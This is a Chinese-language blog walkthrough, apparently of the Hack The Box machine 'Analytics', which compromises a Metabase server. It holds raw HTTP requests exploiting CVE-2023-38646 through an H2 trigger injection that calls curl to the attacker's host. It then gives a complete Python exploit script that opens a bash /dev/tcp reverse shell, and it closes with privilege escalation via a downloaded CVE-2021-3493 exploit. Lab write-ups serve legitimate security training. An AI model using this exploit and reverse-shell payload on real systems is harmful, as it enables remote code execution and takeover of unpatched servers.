HTB-Analytics
信息搜集
- 端口扫描
1 | sudo nmap -sV -sC -Pn 10.129.49.233 |
修改/etc/hosts文件,访问80端口。点击login发现子域名,修改hosts文件
访问data.analytical.htb,发现系统位Metabase。网上搜索相关漏洞
1
2#最新漏洞
Metabase未授权JDBC远程代码执行漏洞(CVE-2023-38646)
漏洞利用
获取setup-token
1
2
3
4
5
6
7
8
9
10GET /api/session/properties HTTP/1.1
Host: data.analytical.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=4e65217f-acee-439c-b55d-b60cf2fa539e
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 9 Oct 2023 02:32:42 GMT发送漏洞利用数据包(这里利用本地python的web服务来探测漏洞是否存在)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 743
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('curl http://10.10.14.6')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
利用python脚本反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95import requests
import argparse
import base64
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def get_setup_token_and_version(ip_address):
endpoint = "/api/session/properties"
url = f"{ip_address}{endpoint}"
try:
print(f"[DEBUG] Fetching setup token from {url}...")
response = requests.get(url, verify=False)
if response.status_code == 200:
data = response.json()
setup_token = data.get("setup-token")
metabase_version = data.get("version", {}).get("tag")
if setup_token is None:
print(f"[DEBUG] Setup token not found or is null for IP: {ip_address}\n")
else:
print(f"[DEBUG] Setup Token: {setup_token}")
print(f"[DEBUG] Version: {metabase_version}")
return setup_token
except requests.exceptions.RequestException as e:
print(f"[DEBUG] Exception occurred: {e}")
print(f"[DEBUG] Failed to connect to {ip_address}.\n")
def post_setup_validate(ip_address, setup_token, listener_ip, listener_port):
payload = base64.b64encode(f"bash -i >&/dev/tcp/{listener_ip}/{listener_port} 0>&1".encode()).decode()
print(f"[DEBUG] Payload = {payload}")
endpoint = "/api/setup/validate"
url = f"{ip_address}{endpoint}"
headers = {'Content-Type': 'application/json'}
data = {
"token": setup_token,
"details": {
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules": {},
"details": {
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}')\n$$--=x",
"advanced-options": False,
"ssl": True
},
"name": "test",
"engine": "h2"
}
}
print(f"[DEBUG] Sending request to {url} with headers {headers} and data {json.dumps(data, indent=4)}")
try:
response = requests.post(url, headers=headers, json=data, verify=False)
print(f"[DEBUG] Response received: {response.text}")
if response.status_code == 200:
print(f"[DEBUG] POST to {url} successful.\n")
else:
print(f"[DEBUG] POST to {url} failed with status code: {response.status_code}\n")
except requests.exceptions.RequestException as e:
print(f"[DEBUG] Exception occurred: {e}")
print(f"[DEBUG] Failed to connect to {url}\n")
def preprocess_url(user_input):
parsed_url = urlparse(user_input)
protocol = f"{parsed_url.scheme}://" if parsed_url.scheme else "http://"
netloc = parsed_url.netloc or parsed_url.path
return protocol + netloc.rstrip('/')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Check setup token')
parser.add_argument('--rhost', type=str, help='Metabase server IP address (including http:// or https:// and port number if needed)')
parser.add_argument('--lhost', type=str, help='Listener IP address')
parser.add_argument('--lport', type=int, default=4444, help='Listener port (default is 4444)')
args = parser.parse_args()
print(f"[DEBUG] Original rhost: {args.rhost}")
args.rhost = preprocess_url(args.rhost)
print(f"[DEBUG] Preprocessed rhost: {args.rhost}")
print(f"[DEBUG] Input Arguments - rhost: {args.rhost}, lhost: {args.lhost}, lport: {args.lport}")
setup_token = get_setup_token_and_version(args.rhost)
print(f"[DEBUG] Setup token: {setup_token}")
if setup_token:
post_setup_validate(args.rhost, setup_token, args.lhost, args.lport)查看文件,发现.dockerenv文件。可能是docker环境,使用env查看
前面信息搜集时,22端口是开放的。尝试使用ssh登录metalytics用户
提权
使用CVE-2021-3493提权成功
1
2
3
4
5#下载地址
https://github.com/briskets/CVE-2021-3493
#编译
gcc exploit.c -o exploit
#上传到靶机,给予执行权限
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ZPast0r!